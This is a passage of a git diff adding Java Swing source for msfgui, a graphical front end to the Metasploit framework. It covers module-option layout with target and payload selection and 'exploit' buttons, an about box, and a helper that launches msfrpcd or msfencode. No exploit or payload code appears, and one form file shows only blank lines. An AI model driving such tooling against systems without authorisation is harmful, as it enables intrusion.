+ trial = new StringBuffer(word); + real.append("
"); + } + real.append(word); + } + real.append(""); + + label.setText(real.toString()); + } *///
+ + /** Reformats the view based on visible options and targetsMap. */ + private void reGroup(){ + GroupLayout mainPanelLayout = (GroupLayout)mainPanel.getLayout(); + ParallelGroup horizGroup = mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(titleLabel) + .addComponent(descriptionPane, javax.swing.GroupLayout.DEFAULT_SIZE, 526, Short.MAX_VALUE) + .addComponent(authorsLabel) + .addComponent(licenseLabel) + .addComponent(versionLabel); + //Exploit only stuff + if(moduleType.equals("exploit")){ + horizGroup.addComponent(targetsLabel, javax.swing.GroupLayout.PREFERRED_SIZE, 431, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(payloadScrollPane, javax.swing.GroupLayout.DEFAULT_SIZE, 529, Short.MAX_VALUE); + } + horizGroup.addComponent(requiredLabel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(optionalLabel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE); + Enumeration targets = buttonGroup.getElements(); + while(targets.hasMoreElements()) + horizGroup = horizGroup.addComponent((JRadioButton)targets.nextElement()); + for(Object obj : requiredOpts) + horizGroup = horizGroup.addComponent((Component) obj, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE); + for(Object obj : optionalOpts) + horizGroup = horizGroup.addComponent((Component) obj, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE); + for(Object obj : advancedOpts) + horizGroup = horizGroup.addComponent((Component) obj, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE); + + horizGroup = horizGroup.addComponent(exploitButton) + .addComponent(exploitButton1); + mainPanelLayout.setHorizontalGroup(mainPanelLayout.createSequentialGroup().addContainerGap() + .addGroup(horizGroup).addContainerGap()); + + SequentialGroup vGroup = mainPanelLayout.createSequentialGroup() + .addContainerGap() + .addComponent(titleLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(descriptionPane, javax.swing.GroupLayout.PREFERRED_SIZE, 200, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(authorsLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(licenseLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(versionLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED); + //Exploit only stuff + if(moduleType.equals("exploit")){ + vGroup.addComponent(targetsLabel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED); + targets = buttonGroup.getElements(); + while(targets.hasMoreElements()){ + vGroup.addComponent((JRadioButton)targets.nextElement()) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED); + } + vGroup = vGroup.addComponent(payloadScrollPane, javax.swing.GroupLayout.PREFERRED_SIZE, 296, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED); + } + boolean odd = false; + odd = addObjectsToVgroup(vGroup, odd, requiredLabel, requiredOpts); + vGroup = vGroup.addComponent(exploitButton1) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED); + odd = addObjectsToVgroup(vGroup, odd, optionalLabel, optionalOpts); + odd = addObjectsToVgroup(vGroup, odd, advancedLabel, advancedOpts); + vGroup = vGroup.addComponent(exploitButton) + .addContainerGap(); + mainPanelLayout.setVerticalGroup(vGroup); + } + + //helper for grouping + private boolean addObjectsToVgroup(SequentialGroup vGroup, boolean odd, Component label, ArrayList opts) { + vGroup = vGroup.addComponent(label, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED); + for (Object obj : opts) { + vGroup.addComponent((Component) obj, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE); + if (odd) + vGroup.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED); + odd = !odd; + } + return odd; + } + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + buttonGroup = new javax.swing.ButtonGroup(); + mainScrollPane = new javax.swing.JScrollPane(); + mainPanel = new javax.swing.JPanel(); + titleLabel = new javax.swing.JLabel(); + authorsLabel = new javax.swing.JLabel(); + licenseLabel = new javax.swing.JLabel(); + versionLabel = new javax.swing.JLabel(); + targetsLabel = new javax.swing.JLabel(); + payloadScrollPane = new javax.swing.JScrollPane(); + payloadTree = new javax.swing.JTree(); + exploitButton = new javax.swing.JButton(); + requiredLabel = new javax.swing.JLabel(); + optionalLabel = new javax.swing.JLabel(); + descriptionPane = new javax.swing.JScrollPane(); + descriptionBox = new javax.swing.JEditorPane(); + advancedLabel = new javax.swing.JLabel(); + exploitButton1 = new javax.swing.JButton(); + + setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); + + mainScrollPane.setHorizontalScrollBarPolicy(javax.swing.ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER); + mainScrollPane.setName("mainScrollPane"); // NOI18N + mainScrollPane.addComponentListener(new java.awt.event.ComponentAdapter() { + public void componentResized(java.awt.event.ComponentEvent evt) { + mainScrollPaneComponentResized(evt); + } + }); + + mainPanel.setName("mainPanel"); // NOI18N + + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(ModulePopup.class); + titleLabel.setText(resourceMap.getString("titleLabel.text")); // NOI18N + titleLabel.setName("titleLabel"); // NOI18N + + authorsLabel.setText(resourceMap.getString("authorsLabel.text")); // NOI18N + authorsLabel.setName("authorsLabel"); // NOI18N + + licenseLabel.setText(resourceMap.getString("licenseLabel.text")); // NOI18N + licenseLabel.setName("licenseLabel"); // NOI18N + + versionLabel.setText(resourceMap.getString("versionLabel.text")); // NOI18N + versionLabel.setName("versionLabel"); // NOI18N + + targetsLabel.setText(resourceMap.getString("targetsLabel.text")); // NOI18N + targetsLabel.setName("targetsLabel"); // NOI18N + + payloadScrollPane.setName("payloadScrollPane"); // NOI18N + + javax.swing.tree.DefaultMutableTreeNode treeNode1 = new javax.swing.tree.DefaultMutableTreeNode("Payloads"); + payloadTree.setModel(new javax.swing.tree.DefaultTreeModel(treeNode1)); + payloadTree.setName("payloadTree"); // NOI18N + payloadScrollPane.setViewportView(payloadTree); + + exploitButton.setText(resourceMap.getString("exploitButton.text")); // NOI18N + exploitButton.setName("exploitButton"); // NOI18N + exploitButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + exploitButtonActionPerformed(evt); + } + }); + + requiredLabel.setText(resourceMap.getString("requiredLabel.text")); // NOI18N + requiredLabel.setName("requiredLabel"); // NOI18N + + optionalLabel.setText(resourceMap.getString("optionalLabel.text")); // NOI18N + optionalLabel.setName("optionalLabel"); // NOI18N + + descriptionPane.setHorizontalScrollBarPolicy(javax.swing.ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER); + descriptionPane.setName("descriptionPane"); // NOI18N + + descriptionBox.setContentType("text/html"); // NOI18N + descriptionBox.setEditable(false); + descriptionBox.setName("descriptionBox"); // NOI18N + descriptionPane.setViewportView(descriptionBox); + + advancedLabel.setText(resourceMap.getString("advancedLabel.text")); // NOI18N + advancedLabel.setName("advancedLabel"); // NOI18N + + java.util.ResourceBundle bundle = java.util.ResourceBundle.getBundle("msfgui/resources/ModulePopup"); // NOI18N + exploitButton1.setText(bundle.getString("exploitButton.text")); // NOI18N + exploitButton1.setName("exploitButton1"); // NOI18N + exploitButton1.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + exploitButton1ActionPerformed(evt); + } + }); + + javax.swing.GroupLayout mainPanelLayout = new javax.swing.GroupLayout(mainPanel); + mainPanel.setLayout(mainPanelLayout); + mainPanelLayout.setHorizontalGroup( + mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(mainPanelLayout.createSequentialGroup() + .addContainerGap() + .addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(descriptionPane, javax.swing.GroupLayout.DEFAULT_SIZE, 906, Short.MAX_VALUE) + .addComponent(authorsLabel) + .addComponent(licenseLabel) + .addComponent(versionLabel) + .addComponent(targetsLabel, javax.swing.GroupLayout.PREFERRED_SIZE, 431, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(payloadScrollPane, javax.swing.GroupLayout.DEFAULT_SIZE, 906, Short.MAX_VALUE) + .addComponent(titleLabel) + .addComponent(requiredLabel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(optionalLabel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(advancedLabel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(exploitButton) + .addComponent(exploitButton1)) + .addContainerGap()) + ); + mainPanelLayout.setVerticalGroup( + mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(mainPanelLayout.createSequentialGroup() + .addContainerGap() + .addComponent(titleLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(descriptionPane, javax.swing.GroupLayout.PREFERRED_SIZE, 122, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(authorsLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(licenseLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(versionLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(targetsLabel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(payloadScrollPane, javax.swing.GroupLayout.PREFERRED_SIZE, 296, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(requiredLabel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(optionalLabel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(advancedLabel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addComponent(exploitButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(exploitButton1) + .addContainerGap(95, Short.MAX_VALUE)) + ); + + mainScrollPane.setViewportView(mainPanel); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addComponent(mainScrollPane, javax.swing.GroupLayout.DEFAULT_SIZE, 919, Short.MAX_VALUE) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addComponent(mainScrollPane, javax.swing.GroupLayout.DEFAULT_SIZE, 884, Short.MAX_VALUE) + .addContainerGap()) + ); + + pack(); + }// //GEN-END:initComponents + + private void exploitButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_exploitButtonActionPerformed + runModule(); + }//GEN-LAST:event_exploitButtonActionPerformed + + private void mainScrollPaneComponentResized(java.awt.event.ComponentEvent evt) {//GEN-FIRST:event_mainScrollPaneComponentResized + //JOptionPane.showMessageDialog(rootPane, "scrollpane size: "+mainScrollPane.getWidth()+" panel size "+mainPanel.getWidth()); + }//GEN-LAST:event_mainScrollPaneComponentResized + + private void exploitButton1ActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_exploitButton1ActionPerformed + exploitButtonActionPerformed(evt); + }//GEN-LAST:event_exploitButton1ActionPerformed + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JLabel advancedLabel; + private javax.swing.JLabel authorsLabel; + private javax.swing.ButtonGroup buttonGroup; + private javax.swing.JEditorPane descriptionBox; + private javax.swing.JScrollPane descriptionPane; + private javax.swing.JButton exploitButton; + private javax.swing.JButton exploitButton1; + private javax.swing.JLabel licenseLabel; + private javax.swing.JPanel mainPanel; + private javax.swing.JScrollPane mainScrollPane; + private javax.swing.JLabel optionalLabel; + private javax.swing.JScrollPane payloadScrollPane; + private javax.swing.JTree payloadTree; + private javax.swing.JLabel requiredLabel; + private javax.swing.JLabel targetsLabel; + private javax.swing.JLabel titleLabel; + private javax.swing.JLabel versionLabel; + // End of variables declaration//GEN-END:variables +} diff --git a/external/source/gui/msfguijava/src/msfgui/MsfException.java b/external/source/gui/msfguijava/src/msfgui/MsfException.java new file mode 100644 index 0000000000..72606d679a --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/MsfException.java @@ -0,0 +1,24 @@ +package msfgui; + +/** + * + * @author scriptjunkie + */ +class MsfException extends Exception{ + + public MsfException(Throwable cause) { + super(cause); + } + + public MsfException(String message, Throwable cause) { + super(message, cause); + } + + public MsfException() { + } + + public MsfException(String string) { + super(string); + } + +} diff --git a/external/source/gui/msfguijava/src/msfgui/MsfFrame.java b/external/source/gui/msfguijava/src/msfgui/MsfFrame.java new file mode 100644 index 0000000000..9b91aab714 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/MsfFrame.java @@ -0,0 +1,22 @@ +package msfgui; + +import java.awt.HeadlessException; + +/** + * + * @author scriptjunkie + */ +public class MsfFrame extends javax.swing.JFrame{ + + public MsfFrame(String title) throws HeadlessException { + super(title); + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance( + msfgui.MsfguiApp.class).getContext().getResourceMap(ModulePopup.class); + this.setIconImage(resourceMap.getImageIcon("main.icon").getImage()); + } + + public MsfFrame() throws HeadlessException { + this(""); + } + +} diff --git a/external/source/gui/msfguijava/src/msfgui/MsfguiAboutBox.form b/external/source/gui/msfguijava/src/msfgui/MsfguiAboutBox.form new file mode 100644 index 0000000000..62089da9f6 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/MsfguiAboutBox.form @@ -0,0 +1,199 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/gui/msfguijava/src/msfgui/MsfguiAboutBox.java b/external/source/gui/msfguijava/src/msfgui/MsfguiAboutBox.java new file mode 100644 index 0000000000..712d3d04ed --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/MsfguiAboutBox.java @@ -0,0 +1,140 @@ +/* + * MsfguiAboutBox.java + */ + +package msfgui; + +import org.jdesktop.application.Action; + +public class MsfguiAboutBox extends javax.swing.JDialog { + + public MsfguiAboutBox(java.awt.Frame parent, String version) { + super(parent); + initComponents(); + getRootPane().setDefaultButton(closeButton); + appVersionLabel.setText(version); + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(ModulePopup.class); + this.setIconImage(resourceMap.getImageIcon("main.icon").getImage()); + } + + @Action public void closeAboutBox() { + dispose(); + } + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + // //GEN-BEGIN:initComponents + private void initComponents() { + + closeButton = new javax.swing.JButton(); + javax.swing.JLabel appTitleLabel = new javax.swing.JLabel(); + javax.swing.JLabel versionLabel = new javax.swing.JLabel(); + appVersionLabel = new javax.swing.JLabel(); + javax.swing.JLabel vendorLabel = new javax.swing.JLabel(); + javax.swing.JLabel appVendorLabel = new javax.swing.JLabel(); + javax.swing.JLabel homepageLabel = new javax.swing.JLabel(); + javax.swing.JLabel appHomepageLabel = new javax.swing.JLabel(); + javax.swing.JLabel appDescLabel = new javax.swing.JLabel(); + javax.swing.JLabel imageLabel = new javax.swing.JLabel(); + + setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(MsfguiAboutBox.class); + setTitle(resourceMap.getString("title")); // NOI18N + setModal(true); + setResizable(false); + + javax.swing.ActionMap actionMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getActionMap(MsfguiAboutBox.class, this); + closeButton.setAction(actionMap.get("closeAboutBox")); // NOI18N + closeButton.setName("closeButton"); // NOI18N + + appTitleLabel.setFont(appTitleLabel.getFont().deriveFont(appTitleLabel.getFont().getStyle() | java.awt.Font.BOLD, appTitleLabel.getFont().getSize()+8)); + appTitleLabel.setText(resourceMap.getString("Application.title")); // NOI18N + appTitleLabel.setName("appTitleLabel"); // NOI18N + + versionLabel.setFont(versionLabel.getFont().deriveFont(versionLabel.getFont().getStyle() | java.awt.Font.BOLD)); + versionLabel.setText(resourceMap.getString("versionLabel.text")); // NOI18N + versionLabel.setName("versionLabel"); // NOI18N + + appVersionLabel.setText(resourceMap.getString("Application.version")); // NOI18N + appVersionLabel.setName("appVersionLabel"); // NOI18N + + vendorLabel.setFont(vendorLabel.getFont().deriveFont(vendorLabel.getFont().getStyle() | java.awt.Font.BOLD)); + vendorLabel.setText(resourceMap.getString("vendorLabel.text")); // NOI18N + vendorLabel.setName("vendorLabel"); // NOI18N + + appVendorLabel.setText(resourceMap.getString("Application.vendor")); // NOI18N + appVendorLabel.setName("appVendorLabel"); // NOI18N + + homepageLabel.setFont(homepageLabel.getFont().deriveFont(homepageLabel.getFont().getStyle() | java.awt.Font.BOLD)); + homepageLabel.setText(resourceMap.getString("homepageLabel.text")); // NOI18N + homepageLabel.setName("homepageLabel"); // NOI18N + + appHomepageLabel.setText(resourceMap.getString("Application.homepage")); // NOI18N + appHomepageLabel.setName("appHomepageLabel"); // NOI18N + + appDescLabel.setText(resourceMap.getString("appDescLabel.text")); // NOI18N + appDescLabel.setName("appDescLabel"); // NOI18N + + imageLabel.setIcon(resourceMap.getIcon("imageLabel.icon")); // NOI18N + imageLabel.setName("imageLabel"); // NOI18N + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addComponent(imageLabel) + .addGap(18, 18, 18) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(javax.swing.GroupLayout.Alignment.LEADING, layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(versionLabel) + .addComponent(vendorLabel) + .addComponent(homepageLabel)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(appVersionLabel) + .addComponent(appVendorLabel) + .addComponent(appHomepageLabel))) + .addComponent(appTitleLabel, javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(appDescLabel, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, 266, Short.MAX_VALUE) + .addComponent(closeButton)) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(imageLabel, javax.swing.GroupLayout.PREFERRED_SIZE, 302, Short.MAX_VALUE) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(appTitleLabel) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(appDescLabel, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(versionLabel) + .addComponent(appVersionLabel)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(vendorLabel) + .addComponent(appVendorLabel)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(homepageLabel) + .addComponent(appHomepageLabel)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 117, Short.MAX_VALUE) + .addComponent(closeButton) + .addContainerGap()) + ); + + pack(); + }// //GEN-END:initComponents + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JLabel appVersionLabel; + private javax.swing.JButton closeButton; + // End of variables declaration//GEN-END:variables + +} diff --git a/external/source/gui/msfguijava/src/msfgui/MsfguiApp.java b/external/source/gui/msfguijava/src/msfgui/MsfguiApp.java new file mode 100644 index 0000000000..9240a5e0c7 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/MsfguiApp.java @@ -0,0 +1,322 @@ +/* + * MsfguiApp.java + */ + +package msfgui; + +import java.awt.event.ActionEvent; +import java.awt.event.ActionListener; +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.net.DatagramSocket; +import java.net.InetAddress; +import java.net.UnknownHostException; +import java.util.Arrays; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.regex.Pattern; +import javax.swing.JFileChooser; +import javax.swing.JMenu; +import javax.swing.JMenuItem; +import javax.swing.JOptionPane; +import org.jdesktop.application.Application; +import org.jdesktop.application.SingleFrameApplication; +import javax.xml.parsers.DocumentBuilderFactory; +import javax.xml.parsers.ParserConfigurationException; +import javax.xml.transform.TransformerFactory; +import javax.xml.transform.dom.DOMSource; +import javax.xml.transform.stream.StreamResult; +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; + +/** + * The main class of the application. Handles global settings and system functions. + * @author scriptjunkie + */ +public class MsfguiApp extends SingleFrameApplication { + public static final int NUM_REMEMBERED_MODULES = 20; + private static Element propRoot; + private static List recentList = new LinkedList(); + public static JFileChooser fileChooser; + protected static Pattern backslash = Pattern.compile("\\\\"); + + static{ //get saved properties file + propRoot = null; + try{ + String fname = System.getProperty("user.home")+File.separatorChar+".msfgui"; + propRoot = DocumentBuilderFactory.newInstance().newDocumentBuilder() + .parse(new File(fname)).getDocumentElement(); + } catch (Exception ex) { //if anything goes wrong, make new (IOException, SAXException, ParserConfigurationException, NullPointerException + propRoot = getPropertiesNode();//ensure existence + } + Runtime.getRuntime().addShutdownHook(new Thread(){ + @Override + public void run() { + //Output the XML + String fname = System.getProperty("user.home")+File.separatorChar+".msfgui"; + try{ + //save recent + for(Node node = propRoot.getFirstChild(); node != null; node = node.getNextSibling()) + if(node.getNodeName().equals("recent")) + propRoot.removeChild(node); + Document doc = propRoot.getOwnerDocument(); + Node recentNode = doc.createElement("recent"); + for(Object o : recentList){ + Object[] args = (Object[])o; + Element recentItem = doc.createElement("recentItem"); + recentItem.setAttribute("moduleType",args[0].toString()); + recentItem.setAttribute("fullName",args[1].toString()); + for(Object p : ((Map)args[2]).entrySet()){ + Map.Entry prop = (Map.Entry)p; + Element propItem = doc.createElement(prop.getKey().toString()); + propItem.setAttribute("val",prop.getValue().toString()); + recentItem.appendChild(propItem); + } + recentNode.appendChild(recentItem); + } + propRoot.appendChild(recentNode); + TransformerFactory.newInstance().newTransformer().transform( + new DOMSource(propRoot), new StreamResult(new FileOutputStream(fname))); + }catch (Exception ex){ + } + } + }); + } + + /** + * At startup create and show the main frame of the application. + */ + @Override protected void startup() { + MsfguiLog.initDefaultLog(); + show(new MainFrame(this)); + } + + /** + * This method is to initialize the specified window by injecting resources. + * Windows shown in our application come fully initialized from the GUI + * builder, so this additional configuration is not needed. + */ + @Override protected void configureWindow(java.awt.Window root) { + } + + /** + * A convenient static getter for the application instance. + * @return the instance of MsfguiApp + */ + public static MsfguiApp getApplication() { + return Application.getInstance(MsfguiApp.class); + } + + /** + * Main method launching the application. + */ + public static void main(String[] args) { + launch(MsfguiApp.class, args); + } + + /** Application helper to launch msfrpcd or msfencode, etc. */ + public static Process startMsfProc(List command) throws MsfException{ + String[] args = new String[command.size()]; + for(int i = 0; i < args.length; i++) + args[i] = command.get(i).toString(); + return startMsfProc(args); + } + /** Application helper to launch msfrpcd or msfencode, etc. */ + public static Process startMsfProc(String[] args) throws MsfException { + String msfCommand = args[0]; + String prefix; + try{ + prefix = getPropertiesNode().getAttributeNode("commandPrefix").getValue(); + }catch(Exception ex){ + prefix = ""; + } + Process proc; + String[] winArgs = null; + try { + args[0] = prefix + msfCommand; + proc = Runtime.getRuntime().exec(args); + } catch (Exception ex1) { + try { + proc = Runtime.getRuntime().exec(args); + } catch (IOException ex2) { + try { + args[0] = "/opt/metasploit3/msf3/" + msfCommand; + proc = Runtime.getRuntime().exec(args); + } catch (IOException ex3) { + try { + winArgs = new String[args.length + 3]; + System.arraycopy(args, 0, winArgs, 3, args.length); + winArgs[0] = "cmd"; + winArgs[1] = "/c"; + File dir = new File(System.getenv("PROGRAMFILES") + "\\Metasploit\\Framework3\\bin\\"); + if (msfCommand.equals("msfencode")) + winArgs[2] = "ruby.exe"; + else + winArgs[2] = "rubyw.exe"; + winArgs[3] = "/msf3/" + msfCommand; + proc = Runtime.getRuntime().exec(winArgs, null, dir); + } catch (IOException ex4) { + try { + File dir = new File(System.getenv("PROGRAMFILES(x86)") + + "\\Metasploit\\Framework3\\bin\\"); + proc = Runtime.getRuntime().exec(winArgs, null, dir); + } catch (IOException ex5) { + try { + File dir = new File(prefix); + proc = Runtime.getRuntime().exec(winArgs, null, dir); + } catch (IOException ex6) { + throw new MsfException("Executable not found for "+msfCommand); + } + } + } + } + } + } + return proc; + } + + /** Get root node of xml saved options file */ + public static Element getPropertiesNode(){ + if(propRoot == null){ + try { + Document doc = DocumentBuilderFactory.newInstance().newDocumentBuilder().newDocument(); + Element root = doc.createElement("root"); + doc.appendChild(root); + propRoot = root; + } catch (ParserConfigurationException ex) { + JOptionPane.showMessageDialog(null,"Error saving properties. Cannot make new properties node."); + } + } + return propRoot; + } + + /** Adds a module run to the recent modules list */ + public static void addRecentModule(final Object[] args, final JMenu recentMenu, final RpcConnection rpcConn) { + recentList.add(args); + Map hash = (Map)args[2]; + StringBuilder name = new StringBuilder(args[0] + " " + args[1]); + for(Object ento : hash.entrySet()){ + Entry ent = (Entry)ento; + String propName = ent.getKey().toString(); + if(propName.endsWith("HOST") || propName.endsWith("PORT") || propName.equals("PAYLOAD")) + name.append(" "+propName+"-"+ent.getValue()); + } + final JMenuItem item = new JMenuItem(name.toString()); + item.addActionListener(new ActionListener() { + public void actionPerformed(ActionEvent e) { + new ModulePopup(rpcConn, args, recentMenu).setVisible(true); + recentMenu.remove(item); + recentMenu.add(item); + for(int i = 0; i < recentList.size(); i++){ + if(Arrays.equals((Object[])recentList.get(i), args)){ + recentList.add(recentList.remove(i)); + break; + } + } + } + }); + recentMenu.add(item); + recentMenu.setEnabled(true); + if(recentMenu.getItemCount() > NUM_REMEMBERED_MODULES) + recentMenu.remove(0); + if(recentList.size() > NUM_REMEMBERED_MODULES) + recentList.remove(0); + } + public static void addRecentModules(JMenu recentMenu, final RpcConnection rpcConn) { + Node recentNode = null; + for(Node node = propRoot.getFirstChild(); node != null; node = node.getNextSibling()) + if(node.getNodeName().equals("recent")) + recentNode = 